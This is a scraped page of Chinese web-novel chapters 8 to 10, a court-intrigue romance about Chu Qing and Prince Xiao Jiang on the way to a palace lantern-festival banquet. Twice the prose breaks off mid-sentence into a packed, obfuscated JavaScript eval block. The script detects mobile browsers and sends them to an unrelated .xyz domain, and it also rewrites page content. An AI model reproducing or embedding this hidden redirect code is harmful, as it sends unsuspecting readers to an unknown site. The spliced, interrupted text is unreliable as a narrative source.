;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790856|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吏部贪腐已是沉疴旧疾，只因积弊多年，牵扯甚广，监察司的人才没机会彻底清查。眼下吏部的人自己送上门来，是个好机会，查。” 萧绛又写了一份名单递给叶危：“给陆铭予送过去，让他查得干净些。名单上的这些人，一个别留。” 清查吏部一事，萧绛已经计划了数月之久。眼下既然要动手，必须一击毙命。他要给吏部这块滋生在朝廷里的腐坏之地，彻底大换血。 交代完公事，萧绛又似是随口问：“去检举吏部的人，是楚二的姑父？” 叶危道是。 萧绛轻笑：“他高弘储的手脚也未必干净，竟敢自己送上门去。” 叶危也觉得困惑，便道：“属下回来的路上，刚好路过镇南将军府，所以潜进将军府打探了一番。据将军府西院的下人说，高弘储此时检举吏部尚书，应该和楚家二姑娘有关。” 萧绛皱眉：“楚二？” 叶危：“说是楚家二姑娘不久前落水，昏迷间梦见了仙人的指点。高弘储此去监察司，正是仙人的意思。” 一向处变不惊的萧绛诧异地抬眸，顿住一瞬，忽然失笑：“仙人的意思？我看是她楚二的意思。” 他这准王妃，还真是越来越有趣了。 上次他去将军府见过楚卿，已经察觉到楚卿并非传闻中那么简单，这些日子，他也一直派人在暗中盯着楚卿。 只是楚卿似乎发现了他的暗哨，每次离府不久就能将人甩开，他也一直没再抓住别的把柄。所以想要再进一步了解他这位准王妃，只能等不久后的上元宫宴了。 原本邀请楚卿参加上元宫宴是皇后的意思。萧绛去通知，只是因为前去质问楚卿秉烛书斋一事，恰好顺路。 不过眼下想想，让楚卿参加宫宴倒是个好机会。宫宴之上各方势力掺杂，他倒可以趁此次机会，试探一下他这位看似久居闺阁的准王妃，到底认识多少人。 叶危禀报完，又将手里的鹿头酒递给萧绛。叶安忙拐了叶危一下：“别告诉王爷是酒。” 萧绛：“我不聋，更不瞎。” “ ……” 叶安讪讪一笑，闭了嘴。 叶危解释道：“这酒是高弘储送给陆大人的，陆大人问王爷如何处理。” 叶安心道不好，王爷最近格外贪杯，准要把酒留下自己喝。 他忙要规劝，可还没开口，萧绛却道：“丢了吧！” 叶安震惊。 “太阳打西边出来了。” 叶安离开北书房后，边走边同兄长说道：“王爷今天不仅笑了，还没让你把酒留下，真是奇了怪了。” 叶危瞥他一眼：“不开窍。” 叶安不懂：“这跟开不开窍有什么关系？” 叶危无奈提醒：“你好好想想，王爷之前喝的酒，都是什么酒？” 叶安撇撇嘴：“这有什么好想的，松醪酒呗！” 还是杜康酒馆的松醪酒呢！他丢了那么多次，能不知道是什么酒吗？ 叶危问：“懂了？” 叶安想了想：“嗯，懂了。” 准是鹿头酒没有松醪酒清冽，王爷不喜欢。 看样子他得想个法子把杜康酒馆的老板赶出晟都城，免得他家王爷天天惦记松醪酒，连身上的旧疾都不顾了。 8. 第八章 初三的大雪过后，晟都城的天气冷到了极点。 楚卿怕冷，近来不常出门。天天窝在房里，时间过得飞快。正月十五，和萧绛约定一同进宫赴宴的日子，仿佛转眼就到了。 这些日子，楚卿只暗中去过一次海云端，是为了托苏兰桡帮她买间宅子。 她的老对头如今一朝得势今非昔比，偌大的晟都城里到处都是祁王府的眼线。谨慎起见，秉烛书斋已经不能再去了。 楚卿还有一些从前的积蓄，不算多，但足够买下一间宅子。所以她托苏兰桡帮她物色了一间位置不错、价格划算的小院，打算修葺一番，留着以后重开女子书院用。 恰好在正月十五的一大早，苏兰桡遣人来将军府送信，说宅邸已经买好，正在雇人修葺，估计最多一个月，书院就能重新开起来。 楚卿心情大好，抱着苏兰桡送来的信，多吃了一大碗元宵。林七见状便说：“大人现在的样子，像个孩子。” 楚卿捧着装元宵的瓷碗，从青瓷碗沿上露出一双清秀澄澈的眼睛：“你说什么？” 林七几乎从不和她开玩笑，楚卿有点不敢相信自己的耳朵。 林七将一方帕子递给楚卿，让她擦擦嘴角不慎沾上的芝麻，边收拾碗筷边淡淡解释：“每次遇上女子书院的事情，大人都特别容易满足，像个孩子，给块糖，足够乐一整天。” 林七说话的语气四平八稳，很难听出情绪。若是旁人说这话，楚卿准觉得对方在笑话她。可林七说出来，楚卿却不免自我怀疑，她有这么没出息吗？ 正思量着，玉竹叩门走了进来。 “小姐，祁王府的马车到了。” 经过近半月的相处，玉竹已经不像从前那般惧怕林七。但林七在场，玉竹依旧不敢久留。她局促地禀报完情况，一句多余的话也没说，逃难似的溜了。 今天是正月十五，祁王府的马车是来接楚卿入宫的。 楚卿喝下最后一口元宵汤，心满意足地伸了伸懒腰：“祁王府的人还真是不辞辛苦，居然这么早就到了。” 只可惜她尚未梳妆，要劳烦来接她的人多等一等了。 前些日子，楚卿托苏兰桡在城郊为楚二立了一座衣冠冢。所以楚二从前的衣物和首饰都已被楚卿偷偷运出去，埋在了衣冠冢里。 现在房里的衣物和首饰，都是苏兰桡后来亲自挑选给楚卿送过来的。楚卿一向对这些东西不感兴趣，苏兰桡送来以后，她一直也没细看。眼下要挑一件适合穿着进宫的衣裳，楚卿才把那几箱东西翻出来。 不看不知道，一看吓一跳。苏兰桡送的衣裙，也太花哨了！红的红，绿的绿，颜色一件比一件扎眼。 楚卿穿惯了素色的衣衫，忽然被一堆大红大绿的衣裙包围，只觉得苏兰桡送来的不是一箱衣物，而是海云端的后花园，姹紫嫣红，晃得她眼冒金星。 最后还是林七拿出一条从前的衣裙，把她从五颜六色的苦海中解救了出来。 林七捧着一条黄白相间的月华裙问她：“这条裙子可以吗？” 楚卿打量一眼，觉得眼熟：“这好像是前年苏姐姐送我的生辰礼吧？” 林七点了点头。 苏兰桡每年都会给楚卿准备生辰礼，有时是裙子，有时是首饰。但楚卿终日男装加身，这些礼物都还是崭新的。 林七一直帮楚卿收着这些东西，眼下刚好想起来，就拿了出来。楚卿如蒙大赦，立马去换衣裳。 在楚卿换衣裳的时候，林七又找出一对东珠耳坠。楚卿换好出来，林七便拉着她到梳妆台前坐下，小心翼翼地给她戴耳坠。 楚卿平日里对首饰、衣物此类的物件一向不感兴趣，但这对东珠耳坠光泽细腻、华而不艳，楚卿竟难得十分喜欢。这也是她第一次明白女孩子喜欢珠宝是什么样的感受。 她对着镜子打量在自己耳下轻轻摇晃的东珠耳坠，笑意清浅地问：“小七，这对耳坠也是苏姐姐的礼物吗？这么好看的东西，我居然没有印象了。” 林七解释道：“是属下方才在妆匣里找到的，应该是楚二的东西。” 楚卿顿住一瞬，抬手便要摘耳坠：“哪能随便戴人家的东西？苏姐姐不是给我送了不少耳坠吗，换一副吧！” 林七没顺着楚卿的意思把耳坠摘下来，反倒拉开妆匣让楚卿看了看苏兰桡送来的首饰。金光灿灿的一片直冲眼底，不细看还以为是送了一盒金子。 楚卿忙将妆匣合上：“算了，还是先戴这对吧！” 苏兰桡送来的首饰，怕是留着给她大婚用的。 待收拾妥当，楚卿终于披上大氅准备出门。林七一直将她送到琼英院门口，才终于开口：“大人，属下同你一起吧！” 林七垂着眼眸，手掌紧紧攥着。楚卿只需要一眼，就能看穿她在思虑什么。 其实自从上次祁王萧绛到过将军府，林七就一直在暗自闹别扭。她不希望楚卿孤身入宫，至少不应该一人入宫。 楚卿明白林七的担忧，去年中秋大火，是林七心里过不去的坎。 但此次入宫，不仅是因为萧绛相邀。她也想趁这个机会再去一次去年起火的金庆宫。她对那场大火的记忆一直很模糊，无论是那日打晕她的凶手，还是那天不惜性命救她的人，她都记不清楚。 据说金庆宫自去年中秋起火后便一直荒废，楚卿想着若是能趁这次机会故地重游，或许还能再想起些什么。所以她才没拒绝萧绛的邀请。 至于林七，祁王府的人认识她，她不方便和楚卿一同露面，所以楚卿才选择自己入宫赴宴。 但林七放心不下她，楚卿也不想林七为难，只好半开玩笑地劝道：“小七，皇宫的防火措施好着呢，又不是每次宫宴都会起火。若真每次宫宴都要烧一次，那北疆几个虎视眈眈的小国也不用时不时来挑衅打仗了，直接派人到皇宫里撺掇皇上皇后开宫宴多方便啊！开一次，烧一次，从内部解决问题，省财省力啊！” 林七被逗得笑了一下，笑容很浅，转瞬即逝。她依旧放心不下：“大人，苏坊主之前给属下做过一张人/皮面具，属下可以戴着面具同您进宫，不会被祁王府的人发现。” 楚卿了解林七，以她的性子，眼下会开口提起此事，肯定是已经打算了很久。 楚卿虽然担心林七会暴露，却也不想留林七一个人在琼英院里一直担心她，所以还是应了下来。 二人已经耽搁了好一阵，祁王府的马车在外面等了快半个时辰。楚卿出门前特意多拿了一个暖手炉，打算给祁王府来接她的人赔个不是，再让对方暖暖手。 可她全然没料到，来接她的不是祁王府的下人，而是祁王萧绛本人。 祁王府来了两辆马车，后面车里坐的叶氏两兄弟，林七也是登车之后才发现不对。而另一面楚卿也推开了前面那辆车的车门。 彻骨的北风在车门被推开的一瞬呼啸着闯入，不留情面地吹起萧绛的发梢。雪色的狐裘大氅下，苍白清冷的面容几乎与寒冬的风雪相融，让人一时恍惚，仿佛看见了因伤病堕入凡间的仙人。 许是因为在车里冻得太久，萧绛本就白皙的肤色已经近乎苍白。鼻梁左上那一颗细小的红痣在苍白肤色的衬托下，则显得更加灼眼。 楚卿的目光不由自主地被吸引，顿住片刻才回过神：“怎么是你啊？” 劳祁王大驾冒着风雪亲自相接，她还真受不起这殊荣。 萧绛言简意赅：“顺路。” 楚卿不信，祁王府明明就在皇宫边上，萧绛入宫，根本没必要大老远绕到将军府来。 楚卿本想像从前一样揭穿他，顺便揶揄他几句。可见他藏在衣袖下的指尖冻得已经微微泛红，又被冷风呛得一直咳嗽，心中不免愧疚，只好住嘴先上了马车，把冷冽的寒风隔在了车门外。 “对不住啊，出门耽搁了一阵。让你久等了。”楚卿说着，把一早准备的暖手炉递向萧绛，“上次给你送的药喝了吗 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楚卿了解萧绛这个习惯，便想：不会吧？难道他因为一个暖手炉就感动了？早知道雪中送炭这么管用，她早给萧绛送他几车的暖手炉多好啊！那样他们以前也不至于见面就掐了。 可楚卿再打量一眼，暖手炉放在萧绛的手上，她怎么丢过去，萧绛怎么摆着，完全没有要好好拿来暖手的意思。楚卿又觉得自己是想多了，便忍不住给自己挽回面子：“我以为来接我的人是你们祁王府的下人，所以才准备了暖手炉，你若是不想要，可以还我。” 这话说的，仿佛下人值得楚卿关心，萧绛堂堂一位王爷，反倒不值得在意了。 萧绛不由蹙眉：“多谢。” 终于把暖手炉好好捧在了手里。 皇城里的路四平八稳，马车几乎没有颠簸。车外不时传来孩子们打雪仗的嬉戏声，楚卿实在无聊想推开车窗看看窗外的风景，可一抬手，又想起萧绛的身体不好，只能把手收回来，继续一动不动地坐着。 而萧绛端坐在楚卿的对面闭目养神，却总时不时睁眼打量楚卿一眼，仿佛楚卿的脸上有什么东西令人他格外在意。 一次两次还好，次数多了，楚卿不免自我怀疑，她脸上是粘了什么东西吗？不会是早上吃的芝麻元宵蹭到脸上了吧？ 她忙拿出帕子擦了一把，除了淡红色的口脂什么也没擦下来。 恰好此时，萧绛又假作不经意地看了她一眼。她实在忍不住了：“王爷，我脸上有金子吗？” 萧绛皱着眉头，目光直直落在楚卿的耳畔，虽是沉默，却能看出明显有话要说。 狐裘下的右手再一次蜷起，萧绛顿了顿动作，终于准备开口。 却不料，巷子口突然闯出一匹马，刚好和楚卿二人乘坐的马车撞在一起。 随着一阵剧烈地颠簸，整个车体几乎一半离地。楚卿一时没坐稳整个人向前倒去，萧绛见状立刻伸手去拉她。二人就这样在颠簸的马车里撞了一圈，一同跌坐到对面的软座上。 暖手炉咔哒摔落，煮过安神草药的热汤洒了满车。狭小的车厢里，瞬间盈满清淡的药草香。 萧绛一手撑着车壁，宽大的狐裘将楚卿完完全全护起。楚卿回过神再抬头，刚好撞上萧绛深邃的眼眸。 她还是第一次如此近距离的看他。纤长的凤眼具有与生俱来的神秘感，而那双深不见底的眼眸更让人看不真切，愈看不真切，愈令人想要一探究竟，哪怕长长久久地陷进去。 楚卿一瞬出神，再回神，便见萧绛那只撑着车壁的手缓缓落下，一点点落在了她的耳畔。 近在咫尺的距离、仿佛轻抚耳垂的动作，一切本该带着暧昧的气息，可萧绛的眼底没有温存，只有冰冷的怀疑。 他终于冷声开口，问出了他一直想问的话。 “这对耳坠，你从哪里得来的？” 楚卿：？？？ 这个走向，合理吗？ 9. 第九章 这对东珠耳坠，原是去年西域朝贡送来的贡品。皇后将这对东珠耳坠赏赐给萧绛，表面上说是让他送给中意的姑娘，其实是为了催促他娶妻。 但萧绛确实曾考虑把这对东珠耳坠送给一个人。只是那人身份特殊，他没有机会送出去，也不能送。这对东珠耳坠便一直空放在祁王府，一直放了大半年。 待到再后来，他想送的人突然辞世，这对耳坠也不知何时失去踪迹。萧绛虽没再找过，却也没料到有朝一日，这对耳坠会出现在楚卿的身上。 楚卿被萧绛没头没尾的一句话问懵了，一时间没想到该怎么回答。好在马车外传来叶危的话音，终于打破了无声的尴尬。 “王爷，是安国公府的小侯爷赵西平。”叶危隔着马车启禀道，“人骑马跑了，需要属下去追吗？” 赵西平的名字楚卿没听过，但安国公府楚卿早有耳闻。安国公隶属三皇子一党，和萧绛不睦已久。安国公府的小侯爷不可能不认得祁王府的马车。赵西平方才突然从巷子里冲出来，分明是故意冲撞萧绛。 萧绛从楚卿身前起身，理了理狐裘大氅，又坐回到正位上，问叶危：“赵西平方才说了什么？” 方才萧绛质问楚卿耳环的来处时，马车外曾传来男子挑衅的话音。只是那时萧绛的注意力一直在楚卿的耳坠上，没听真切。 马车外的叶危犹豫片刻，顺着车门的缝隙递进来一包草药，回禀道：“赵小侯爷说，方才无意冲撞了王爷，若是把王爷吓病了，这包压惊的草药算是赔罪。” 如此明目张胆地挑衅，楚卿心道：赵西平若不是故意的，她楚卿的名字倒过来写。 楚卿替萧绛接过叶危手里的草药，怕萧绛气到，开玩笑道：“都说安国公府富可敌国，如今看来也不过如此。真要赔罪，倒是多送点啊！车里坐着俩人呢，分一包药，多寒酸！” 萧绛却只是平静地吩咐：“不必追了。” 马车又启程继续前往皇宫。 一路上没再遇上波折。萧绛不再提东珠耳坠的事，楚卿虽觉得奇怪，却也没多问。很快，马车便在宫门外停了下来。 皇宫外不准走马车，二人需要换乘轿撵。换乘轿撵前，二人又在宫门前遇上了小侯爷赵西平。 赵西平下马的地方和楚卿二人隔着几架马车，他也是受邀来参加宫宴的一员。他远远看见萧绛在此地下车，便抬手示意，一脸的轻蔑傲慢，分明又在挑衅。 楚卿忍不住问萧绛：“老安国公见了王爷尚要礼让三分，他一个国公府的小侯爷，哪来这么大的底气？” 叶安刚好停完马车走回来，一时嘴快，顺口接道：“赵小侯爷刚傍上晋王，自然有底气。” 晋王是当今三皇子萧赫。在萧绛起势以前，晋王一直是储君之位最有力的人选。 萧绛如今虽然风头正盛，但晋王暗中把持朝局多年，二人的势力仍不相上下。甚至晋王因与禁卫军结交颇深，在很多事情上还能压萧绛一头。 赵西平和晋王走得近，敢公然挑衅萧绛，定然是仗着晋王的权势。 萧绛本不想让楚卿知道这些。但叶安因为楚卿送药一事对楚卿颇有好感，也就没什么提防，已经嘴快多说了一句，萧绛也就没再隐瞒。 “安国公和吏部走得近。吏部被查，安国公恨不能夹着尾巴做人。”萧绛目光沉沉道，“不知道老安国公知道自家的公子行事如此张扬，会作何感想。” 楚卿一听就明白了，看样子萧绛已经开始对安国公府出手了。等吏部被清查问罪，安国公也自然吃不了兜着走。到时晋王别说想保他，恐怕撇清关系都来不及。 只是，萧绛忽然提吏部的事情是什么意思？ 楚卿下意识看向萧绛，萧绛果然在满眼考究地打量她。不用想也知道，她忽悠高弘储举报吏部的事情，准被萧绛知道了。 楚卿只好装傻：“吏部？吏部犯了什么事啊，为什么要被清查？” 萧绛不留情面直接拆穿：“欲盖弥彰，演技太差。” 就知道瞒不住他！ 楚卿索性自暴自弃了。 “我姑父，他会被贬吗？”楚卿试探着问。 早在忽悠高弘储时楚卿就计算过，以高弘储的罪行，不会判死罪，最多被贬去沧州那种苦寒之地受些苦。高家人在将军府处处为难楚二母女，做了这么多孽，被贬也活该。 楚卿问这句话，主要是想从萧绛那套些话，好尽早根据处置情况，为高家与楚家分家一事做准备。 奈何萧绛却完全不中招，反而反问：“你希望他如何？” 楚卿：“怎么，王爷能帮我啊？” 萧绛淡淡垂眸睨着她：“不能。” “不能你问我干嘛？”楚卿抱臂道，“贬就贬吧，跟我也没关系。他若是真被贬出京城，我才真要烧高香谢祖宗呢！我娘受了这么多年的苦，还不都是拜他们高家人所赐。” 萧绛闻言看向楚卿，话里有话道：“有传言称，楚家大夫人似乎对你这个女儿一向不闻不问。本王竟不知道，楚二姑娘和蒋夫人竟如此母女情深了。” 楚卿不由愣了一下。 在她印象里，蒋氏虽然软弱，但温柔体贴，对楚二，至少对她所成为的楚二，可以说有无微不至的关心。楚卿还从未听说，蒋氏对女儿漠不关心的传言。 她有些疑惑，但又不敢表现出来，只好搪塞道：“王爷这么关心我，倒是位称职的夫君。” 萧绛被她的话噎了一下，不紧不慢地回击：“本王闲人一个，自然能多关心些闲事。比不得楚姑娘日理万机，身处闺阁却连吏部的事情都算得一清二楚，实在令本王钦佩。” 这是直接阴阳怪气到明面上了。 楚卿呲了一声，把萧绛手里的暖手炉抢了回来：“病人才怕冷。我看王爷思绪清晰，口齿伶俐，不像生病的人。这暖手炉还是还给我吧！” 正说着，叶危领人抬着轿撵走了过来。 叶安掀开轿帘准备迎楚卿和萧绛上轿，楚卿却朝不远处赵西平下马的地方看了看，忽然道：“王爷，你们先走，我有点事。” 萧绛：“你去哪？” 楚卿扬眉一笑：“行乐要及时，算账也是。” 她当然是要去算账了。 赵西平的人虽走了，但马还在。她总不能白在马车里滚一遭，她受了多少磕碰，赵西平得连着她和萧绛的份双倍还回来。 宫门前停的都是今日来宫中赴宴的人的马车，楚卿一路绕过这些车马，最后停在了赵西平的马匹前。 萧绛也默默跟了过来：“你要做什么？” 楚卿问：“有刀吗？” 萧绛在腰间摸出一把匕首：“你要刀做什么？” 楚卿径自拿过萧绛的匕首，小心翼翼地在赵西平的缰绳上划了两道小口。 口子不大，不仔细看看不出来。但只要赵西平勒马，缰绳就会崩开。到时赵西平重心不稳，必然落马。至于会摔成什么样子，就看他自己的造化了。 楚卿割完缰绳，把匕首还给萧绛。萧绛看出楚卿的意图，低低念了一句：“小家子气。” 那双深邃清明的眼底明显藏了笑。 可惜楚卿先一步往回走，没瞧见萧绛眼底一闪而过的笑意，便背对着萧绛摆摆手，回道：“小家子气，也好过受气。” 因为出门耽搁了时辰，路上又经波折，眼下距离宫宴正式开场已经不足一个时辰。楚卿和萧绛回去乘上轿撵，轿夫立刻加快脚步，朝举行宫宴的鎏芳殿赶去。 上元宫宴，每四年举办一次。每次举办前宫人都会在大殿内挂满花灯，璀璨的花灯与新春红绸交相辉映，原本庄重肃穆大殿立刻充满热闹的喜气。 楚卿和萧绛抵达鎏芳殿时，殿内人头攒动，席位已经坐满了大半。皇后身边的方嬷嬷已在门口恭候多时，二人一入场，立刻热络地上前相迎。 皇后娘娘尚未入场，场内的宾客大多在同邻座的人寒暄闲谈。萧绛将楚卿送到位置后，称他还需要去用永宁宫见皇后，便留下方嬷嬷招待楚卿，自己先暂时离开了鎏芳殿。 但楚卿看得出来，萧绛说得好听，方嬷嬷哪是留下来照顾她的，分明是留下来看着她的。她还打算趁宫宴没开始，找机会去一趟金庆宫，但眼下的情况，得先想个法子把方嬷嬷支走。 楚卿注意到，今天的宴会有些奇怪。寻常宫宴，若是皇帝宴请，大多会邀请朝中官员；而若是皇后宴请，则会邀请朝中官员各家的官眷。 但今天的宫宴一反常态，邀请的宾客竟都是京中的官宦子弟。她便拐着弯问方嬷嬷：“怎么没见九公主呢？听王爷说九公主已经到了及笄的年纪，想来如今也应该是亭亭玉立的大姑娘了。” 方嬷嬷遂解释：“九公主还在永宁宫陪着皇后娘娘，要等宴会开始才会到场了。不过姑娘许是记错了，九公主今年三月才及笄。皇后娘娘此次设宴，也是想借此机会提前看看京中的各家公子，为九公主日后挑选驸马做准备。” 楚卿不免疑惑：“三月才行及笄礼，如今便要相看驸马了吗？” 方嬷嬷似是察觉自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790858|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多嘴，忙尴尬笑笑：“皇后娘娘一向最疼爱小公主，难免要挑仔细些。” 说完，又给楚卿道了一盏茶，岔开话题道：“姑娘尝尝这茶，今年新进的上品，别处喝不到的。” 楚卿礼貌性地端起茶盏品了一口，心里却仍在琢磨皇后给公主挑选驸马一事。 皇后膝下无子，只有一位年仅十四岁的九公主。九公主选婿，皇后费心也在情理之中，但不惜动用宫宴这么大的阵仗，怎么看也有些宠过头了。 这事，只怕还有其他原因。 但楚卿眼下没时间考虑这些，宫宴快开场了，萧绛也不一定什么时候能回来，她得尽快想办法脱身才行。 楚卿打量一眼手里的茶盏，抬眸给一侧的林七递了个眼色，又看了一眼身侧方嬷嬷的脚下。 林七立刻会意，点了点头。 楚卿遂将茶盏里的茶水一饮而尽，抬头吩咐方嬷嬷：“嬷嬷，这茶的确不错，劳您再给我倒一盏吧！” 方嬷嬷见楚卿牛饮水一样喝进贡来的好茶，心疼得直在心里骂楚卿不识货。可萧绛吩咐过让她好好招待楚卿，她也不敢多说什么，只好继续笑呵呵地给楚卿倒茶。 方嬷嬷躬身去拿茶壶，楚卿便朝林七使眼色，林七立刻反手从腰间摸出一枚钢珠，弹指一挥，刚好落在了方嬷嬷迈步的脚下。 方嬷嬷脚踩钢珠，脚下一滑，直接朝楚卿身前的桌席扑去。楚卿眼疾手快，忙身手扶她，而这一摔一扶，刚好撞翻了桌上的茶壶，不偏不倚，满满一壶热茶，全洒在了楚卿的衣摆上。 楚卿算得明明白白，忙装作受到惊吓却又善解人意的样子，关切道：“方嬷嬷，您没摔着吧！” 方嬷嬷可是吓坏了，那一壶热茶直接扣在楚卿的身上，万一把这位未来的祁王妃烫出个好歹，她有十个脑袋也不够赔的。 她忙连声道歉，如果不是楚卿拦着，恐怕就要跪倒在地上。 而真正的始作俑者楚卿坐得四平八稳，故作大度道：“我无碍的，劳嬷嬷挂心了。只是衣服打湿了，得去换一身。嬷嬷知道哪有衣服换吗，我总不能穿着湿了的衣裙见皇后娘娘吧！” 方嬷嬷忙道：“换的衣服只怕来不及去找。但鎏芳殿后有间暖阁，姑娘若不介意，不妨去暖阁里烤一烤。姑娘的衣裙下摆质地轻薄，不时便能烘干，不会耽误姑娘回来赴宴。” 楚卿心道，不用换衣服更好啊，她还省的和萧绛解释她为什么会打湿衣服了。 楚卿便起身带着林七，跟着方嬷嬷一起去暖阁。 路上，方嬷嬷因为不慎冲撞了主子，心里慌得打鼓，生怕这件事传到萧绛的耳朵里。楚卿看穿她的心思，便在进入暖阁前道：“嬷嬷放心吧，这件事，我不会同王爷讲的。方才鎏芳殿里也没人注意我们，这件事，你不说，我不说，没人会知道。” 方嬷嬷闻言如蒙大赦，连忙向楚卿道谢。楚卿便说不必谢她。 毕竟，她也不想让萧绛知道她离开过。 楚卿和林七进了暖阁，方嬷嬷就在门外等着。 楚卿也顾不上烘衣服，立马走到暖阁后的小窗前，开始琢磨怎么把窗子的锁撬开，好翻窗出去前往金庆宫。 撬锁这事林七在行，可她在一旁看着，不仅不帮忙，反倒一副地看热闹不嫌事大的神色。 “大人，你要摊上麻烦了。”林七淡淡道。 楚卿忙着和窗锁打架，没细想便接了一句：“不会的。方嬷嬷不敢把这事说出去。萧绛去永宁宫找皇后，一来一回最快也要半个时辰。金庆宫离这不远，我们去了很快就能回来，不会被萧绛发现的。” 林七却道：“属下是说，大人的裙子，是苏坊主送的。” 若是被苏兰桡知道楚卿这么糟践她送的生辰礼，只怕能直接从海云端杀到将军府去。 楚卿不由打了个哆嗦。 “算了，裙子的事以后再说吧！”楚卿一手扣着窗锁，急得左右手打架，“这破锁怎么打不开啊？” 林七上前：“大人，让一下。” 楚卿忙从窗边走开。 林七靠近窗锁打量几眼，蹙眉道：“这锁锈死了，撬不了。” 楚卿：“啊？那怎么办啊？” 整间暖阁就这一扇窗子，她不能从这溜出去，不是白折腾了。 正愁着，林七忽然道：“大人，退后。” 楚卿愣了愣，不明所以地让开几步远。 紧接着，只见林七活动几下脚踝，后退半步。 一抬脚，直接把整扇窗子踹了下来。 10. 第十章 楚卿和林七从暖阁里翻窗出来，绕了两条宫巷，避开宫中巡逻的侍卫，辗转到了金庆宫的外围。 原本金碧辉煌的殿宇已经被烧得面具全非，焦黑的宫殿骨架残存在金瓦红墙的皇宫之内，仿佛火海中一抹颓圮的余烬，一眼望过去，只觉得无尽苍凉。 楚卿曾听苏兰桡提起过，金庆宫之所以时隔半年依旧没有整修，是因为礼部众官曾联名奏请皇帝，请求能在查清起火原因之前保留金庆宫的火场原貌。 否则一旦金庆宫翻修，所有线索都被清走，礼部尚书楚钦的死，就永远成了一桩不明不白的悬案。 一开始，皇帝还因此事勃然大怒，骂他们这些礼部的官员是要反天，还问他们忠的到底是大靖王朝，还是那礼部尚书楚钦。 可礼部中人不肯妥协，朝中又出现越来越多的人上奏请求暂时保留金庆宫。最后连原本已经致仕的前任首辅周亭以周老先生，都不远万里还朝出面为楚钦说话。 皇帝才最终不得不应允群官，保留金庆宫的火场原貌。不过也只应允了一年的时间。一年之后，无论是否能查清金庆宫起火的原因，金庆宫都会被推翻重建。 楚卿回来的还算及时，也算没有辜负众人的一番心意。可她如今回想朝中那些出言为她说话的人，除了一位周老先生，其他人在她的印象里，竟都只有“萍水相逢”四字。 感念之余，楚卿也不免惭愧。她入仕五载，看似一心为公，实则大半心思都放在了暗中筹办的女子书院上。她又何德何能让满朝文武为了她的死，不惜公然违背皇命。 从前活着的时候，楚卿自负平生未有亏欠。没料想死了一遭，功名利禄一扫而空，人情债反倒欠了一把又一把。 楚卿一时哭笑不得，她从前怎么不知道自己人缘这么好？ “大人，找到入口了。”林七探路归来，低声回禀。 楚卿收回思绪，默默跟了上去。 金庆宫外有禁卫军看守，楚卿不会轻功，不能像林七一样出入自由。 好在外墙西南角有一个小洞，因为之前被石块堆积没被发现。林七发现后把洞口清出来，楚卿刚好可以从洞口钻进去。 林七很快干净利落地从外墙翻进了金庆宫。楚卿则在矮小的洞口前长叹一声：能令满朝文武为之求情的人，如今竟沦落到要钻狗洞的地步，真是世事难料啊！ 这面，楚卿进了金庆宫。另一面，萧绛也到了皇后的永宁宫。 眼下已至晌午，冬天的午阳虽不似夏日炽热，却格外明媚晃眼。万里无云的蓝天之下，铺满琉璃瓦的皇宫宛如一张红色的洒金宣纸。 萧绛站在永宁宫后院的小花园里，眸光深邃地望着远处的塔楼。雪白的狐裘大氅被阳光染上淡金色，蓬松的毛领随微风拂过，仿佛微微摇摆的金色蒲公英。 塔楼上琉璃瓦反射阳光，萧绛不慎被晃了眼。他低头轻柔眼角，再抬头，便听皇后在身后喊他：“秉言，你来了，怎么也不进殿？外面风大，莫吹坏了身子。” 秉言是他的字。 萧绛回身见礼：“儿臣参见母后。” 萧绛的母妃去得早，他自六岁起便养在皇后膝下。皇后将他视为己出，萧绛自然也十分敬重她。他虽不能将这位宽和仁慈的后宫之主看作生母，但皇后只要有事召见他，他必然会第一时间到场。 而皇后此次召见萧绛，是为了九公主萧凝的婚事。 此次宫宴明为庆贺上元佳节，实际上是为了给九公主选驸马做准备。京中各位官家子弟都在场，皇后有意让萧绛帮她拿拿主意，赶紧挑出一位驸马的合适人选，好把九公主的婚事定下来。 萧绛随皇后入殿，皇后说起九公主的婚事，追问萧绛的意思。萧绛却没说觉得谁合适，只问：“母后问过小九的意思吗？” 皇后不由叹气：“瀚水盟约现在由你负责，金敕王世子即将入京的事情，你可别说你不知情。母后也不想小九这么早嫁人，但若此时不尽快把婚事定下来，你父皇恐怕要把她嫁到北疆去了。” 金敕王世子正当娶妻之年，金敕一族特地派他来朝签订瀚水盟约，明显带了和亲的打算。而如今宫中适龄待嫁的公主，只有九公主萧凝。 皇后膝下无子，只有萧凝这一位小公主。为人母的，哪里舍得将女儿大老远嫁到金敕草原那种荒凉之地？ 因为这事，皇后已经愁了好些天。眼下也是实在没办法，才会召见萧绛入宫相谈。 可萧绛倒是不慌不忙，闻言只端起茶盏抿了一口茶水，道：“如今朝中不缺武将，我大靖还没落魄到要靠牺牲女子保全家国的地步。若金敕一族执意以瀚水盟约相胁，那我朝战又何妨？” 茶盏升起的水雾遮住萧绛的目光，令那双本就深不见底的眼眸更加难以猜测。 萧绛说得云淡风轻，皇后听了却胆寒：“虽说金敕一族如今已经不足与大靖抗衡，但若当真再起战事，难免劳民伤财。”皇后顿了顿，“何况，皇帝也不希望如此。” 萧绛目光骤冷：“他不希望如此，便要牺牲别人的一生吗？” 皇后的手不可控地颤了一下：“秉言，当年的事，该过去了。” 